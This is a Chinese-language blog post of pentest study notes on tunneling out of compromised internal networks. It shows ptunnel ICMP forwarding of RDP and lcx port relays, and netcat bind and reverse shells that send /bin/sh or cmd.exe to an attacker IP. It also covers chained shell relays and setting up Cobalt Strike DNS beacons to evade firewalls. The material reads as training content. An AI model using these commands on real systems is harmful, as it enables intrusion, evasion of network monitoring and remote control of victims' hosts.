2.内网安全隧道技术

0x01.学前知识

1.代理和隧道技术区别?
代理解决网络不同问题
隧道解决流量被拦问题

2.隧道技术为了解决什么?
CS、MSF 无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等

3.隧道技术前期的必备条件?
已经取到目标主机的一些权限 , 但是不能上线对内网进行信息收集

在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道技术有以下三种:

网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

0x02.网络传输应用层检测连通性-检测

检测目标是否支持相关隧道协议的开启 , 如果可以就说明他能够对外部发送数据 , 对内进行探针

1. TCP 协议
用“瑞士军刀”——netcat
执行 nc 命令:nc <IP> <端口>

2. HTTP 协议
用“curl”工具,执行 curl <IP 地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的
话,就会输出相应的端口信息

3. ICMP 协议
用“ping”命令,执行 ping <IP 地址/域名>

4. DNS 协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是 windows 自带的 DNS 探测命令
dig 是 linux 系统自带的 DNS 探测命令

0x03.网络层ICMP隧道ptunnel使用-检测-利用

kali2020-Target2-Target3

image-20210921180423409

pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器)
-lp ##表示需要监听的本地 tcp 端口
-da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP)
-dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x ##设置连接的密码

Webserver:./ptunnel -x xiaodi
Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi 
#转发的dc的3389请求数据给本地的1080

Hacker xiaodi:rdesktop 127.0.0.1 1080
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译)
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)     (推荐)

0x03.传输层转发隧道Portmap使用-检测-利用

工具:
windows: lcx
linux:portmap

受害机执行: lcx -slave 攻击IP 3131 127.0.0.1 3389             //将本地 3389 给攻击 IP 的 3131
攻击机器执行: lcx -listen 3131 3333                                    //监听 3131 转发至 3333

就是受害主机讲自己的端口给出去 , 攻击机再转发自己给自己的端口

0x04.传输层转发隧道Netcat使用-检测-利用-功能

实战中经常会用到nc反弹shell , 他走的协议的不一样 , nc一定要是最新版本 , 支持-e参数

Kali2020-god\webserver-god\sqlserver|dc
1.双向连接反弹 shell
正向:攻击连接受害
受害:nc -ldp 1234 -e /bin/sh                                     //linux系统
nc -ldp 1234 -e c:\windows\system32\cmd.exe         //windows系统
攻击:nc 192.168.76.132 1234                                    //主动连接

反向:受害连接攻击
攻击:nc -lvp 1234
受害:nc 攻击主机 IP 1234 -e /bin/sh                               //linux系统
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe   // windows系统

2.多向连接反弹 shell-配合转发
反向:
god\Webserver:Lcx.exe -listen 2222 3333
god\Sqlserver:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
kali 或本机:nc -v 192.168.76.143 3333
这样kali就能拿到Sqlserver的cmd

正向该怎么操作呢?实战中改怎么选择正向和反向?

3.相关 netcat 主要功能测试 :
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹 Shell:见上

0x05.-应用层DNS隧道配合CS上线-检测-利用

当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀 , 但是相当的慢

1.云主机配置安全组端口 53 启用-udp

2.买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
NS 记录->ns1 主机名->上个 A 记录地址
NS 记录->ns2 主机名->上个 A 记录地址

3.配置 DNS 监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com

cs.xiaodi8.com

4.生成后门执行上线后启用命令:
beacon> checkin
[*] Tasked beacon to checkin
beacon> mode dns-txt              (等待一下)

beacon> shell whoami

image-20210921184639340

posted @ 2021-12-20 19:21  Mn猿  阅读(129)  评论(0编辑  收藏  举报